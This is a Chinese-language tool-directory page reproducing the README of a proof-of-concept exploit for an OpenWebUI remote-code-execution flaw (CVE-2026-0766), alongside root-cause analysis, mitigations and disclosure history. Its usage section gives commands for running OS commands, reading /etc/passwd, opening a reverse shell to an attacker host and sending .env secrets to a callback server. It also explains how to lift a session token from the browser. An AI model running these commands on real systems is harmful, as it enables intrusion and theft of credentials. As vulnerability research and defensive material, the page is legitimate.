Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0766 — CVE-2026-0766 的概念验证漏洞利用程序,该漏洞是 OpenWebUI 中通过工具代码注入导致的远程代码执行漏洞。包含命令执行、文件读取、反向 Shell 和盲数据外泄模式。 | Kitploit
工具/GitHubGitHub/bitt0n/cve-2026-0766
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

CVE-2026-0766 的概念验证漏洞利用程序,该漏洞是 OpenWebUI 中通过工具代码注入导致的远程代码执行漏洞。包含命令执行、文件读取、反向 Shell 和盲数据外泄模式。

查看仓库
45个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-0766:OpenWebUI 远程代码执行

教育性安全研究仓库

本仓库包含针对 CVE-2026-0766 的概念验证利用代码,这是由 零日计划(ZDI) 发现并公开的 OpenWebUI 远程代码执行漏洞。


⚠️ 免责声明

本仓库仅用于授权的安全测试和教育目的。

  • 使用此代码测试您自己的系统或您拥有明确授权进行测试的系统
  • 将此用于学习 LLM 平台安全漏洞相关知识
  • ❌ 切勿在未经明确许可的情况下针对任何系统使用此代码
  • ❌ 未经授权访问计算机系统是违法行为

作者不对滥用此代码的行为承担任何责任。用户须自行确保其活动符合所有适用的法律法规。


📋 漏洞概述

属性值
CVE IDCVE-2026-0766
发现者零日计划(ZDI)
受影响软件OpenWebUI
漏洞类型代码注入(CWE-94)
CVSS 评分8.8 高危
CVSS 向量AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
攻击复杂度低(经过身份验证的管理员或具有工具创建/更新权限的用户可利用)

什么是 OpenWebUI?

OpenWebUI 是一个面向大型语言模型的自托管 Web 界面。它提供类似 ChatGPT 的体验,组织可以在自己的基础设施上运行,使 LLM 对话和数据保持本地化。

漏洞详情

OpenWebUI 包含一个"工具"功能,允许用户通过提交 Python 代码来扩展 LLM 能力。这些代码通过 Python 的 exec() 函数在服务端执行,没有任何沙箱、验证或安全控制。

利用流程:

  1. 经过身份验证的用户通过 POST /api/v1/tools/create 创建"工具"
  2. 用户提供的 Python 代码存储在 content 字段中
  3. 服务器在 utils/plugin.py 中调用 exec(content, module.__dict__)
  4. 任意 Python 代码以完整的服务器权限执行
  5. 攻击者实现远程代码执行(RCE)

关键要点: 代码在工具创建时执行,而非 LLM 调用工具时。这意味着只需创建一个恶意工具即可触发 RCE——无需进一步交互。

已测试版本

此漏洞已在以下版本上验证:

  • OpenWebUI v0.8.10 - 存在漏洞 ✅(测试于 2026-03-28)

该漏洞属于架构性问题(对用户输入不安全地使用 exec()),在 OpenWebUI 团队发布安全补丁之前,所有版本均受影响。


🔍 技术细节

根本原因

漏洞存在于 backend/open_webui/utils/plugin.py 中:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # 最小化预处理(非安全控制)
    content = replace_imports(content)

    # 创建模块并执行用户代码
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← 漏洞点

    return module

replace_imports() 函数仅重写导入路径(表面处理)——它不限制可执行的代码。存在以下缺失:

  • ❌ 无沙箱(无受限执行环境)
  • ❌ 无代码验证(无 AST 检查或白名单)
  • ❌ 无权限检查(默认情况下所有经过身份验证的用户均可创建工具)
  • ❌ 无权限分离(代码以 OpenWebUI 服务账户身份运行)

厂商回应

OpenWebUI 团队最初将此漏洞评估为低优先级,指出工具创建需要管理员权限。然而:

  1. 权限委派很常见 - 许多部署将工具创建权限授予高级用户、工作区管理员和开发人员
  2. 管理员账户被入侵 - 网络钓鱼、撞库和 SSO 入侵可使攻击者获得管理员访问权限
  3. 违反纵深防御原则 - 即使是管理员操作也应受到约束;无限制的代码执行破坏了最小权限原则
  4. 入侵后的利用价值 - 此漏洞在初始访问后的攻击链中具有重要价值

在厂商建议管理员通过受限访问进行管理之后,ZDI 已将此作为 0-day 漏洞公开(ZDI-26-032)以告知防御者。

作者尊重维护开源项目所面临的挑战。 安全修补需要在用户需求、架构约束和有限资源之间取得平衡。本公开旨在帮助安全团队评估风险并实施缓解措施。


🛠️ 概念验证

安装

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

使用方法

利用脚本(exploit.py)支持多种攻击模式:

1. 命令执行

执行操作系统命令并获取输出:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. 文件读取

从服务器文件系统读取文件:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. 反向 Shell

生成反向 Shell(需要 netcat 监听器):

root@kitploit:~
# 在攻击者机器上:
nc -lvnp 4444

# 运行利用脚本:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. 盲数据外传

将命令输出发送到 HTTP 回调服务器:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

身份验证

该脚本同时接受 JWT 令牌(来自 SSO 登录)和 API 密钥:

获取 JWT 令牌:

  1. 正常登录 OpenWebUI(SSO 或本地认证)
  2. 打开浏览器开发者工具(F12)
  3. 找到您的令牌:
    • Cookies 标签页: 查找 token cookie 值
    • Network 标签页: 从任意 API 请求中复制 Authorization: Bearer ... 请求头
    • Console: 运行 localStorage.getItem("token")
  4. 将令牌传递给脚本:--token eyJhbGci...

🔐 缓解措施

针对防御者

如果您运行 OpenWebUI 且无法立即修补:

  1. 限制工具创建权限,仅授予高度可信的管理员
  2. 审计现有工具是否存在恶意代码(检查数据库中的工具内容)
  3. 以最小权限运行 OpenWebUI(专用服务账户,尽可能使用只读文件系统)
  4. 实施网络出口过滤(容器不应具有任意出站访问权限)
  5. 监控可疑的工具创建行为(关注正常工作流程之外创建的工具)

建议修复方案(供维护者参考)

  1. 用安全替代方案替换 exec():

    • 使用 RestrictedPython 进行沙箱化执行
    • 解析 Python AST 并针对安全操作白名单进行验证
    • 在隔离容器中执行工具代码(gVisor、Firecracker)
  2. 添加权限检查:

    • 新工具需要管理员审批
    • 为工具创建实施基于角色的访问控制
    • 在工具激活前增加代码审查流程
  3. 纵深防御:

    • 在具有系统调用过滤(seccomp)的独立进程中运行工具
    • 将文件系统访问限制为只读
    • 从工具执行环境中移除网络访问权限

📚 参考资料

  • NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • ZDI 公告: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • GitHub 安全公告: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94(代码注入): https://cwe.mitre.org/data/definitions/94.html
  • OWASP 代码注入: https://owasp.org/www-community/attacks/Code_Injection

🙏 致谢

  • 漏洞发现: 零日计划(ZDI)- ZDI-26-032 / ZDI-CAN-28257
  • 利用研究与 PoC 开发: Pradeep Pillai(@bitt0n)

📜 许可证

MIT 许可证 - 详情请参阅 LICENSE 文件。

此代码仅供教育和防御性安全目的使用。作者不对滥用行为负责。


🤝 负责任披露

此漏洞已进行负责任披露:

  1. ZDI 发现并向 OpenWebUI 报告了该漏洞
  2. 协调披露期提供给厂商进行修补
  3. 厂商拒绝修补(评估为可接受风险)
  4. ZDI 以 0-day 形式公开以告知安全社区
  5. 此 PoC 在披露后发布以帮助防御者评估风险

如果您在开源项目中发现安全漏洞,请遵循负责任披露实践,在公开披露前给维护者留出修补时间。


如有问题或反馈: 请在本仓库中提交 issue。

下载工具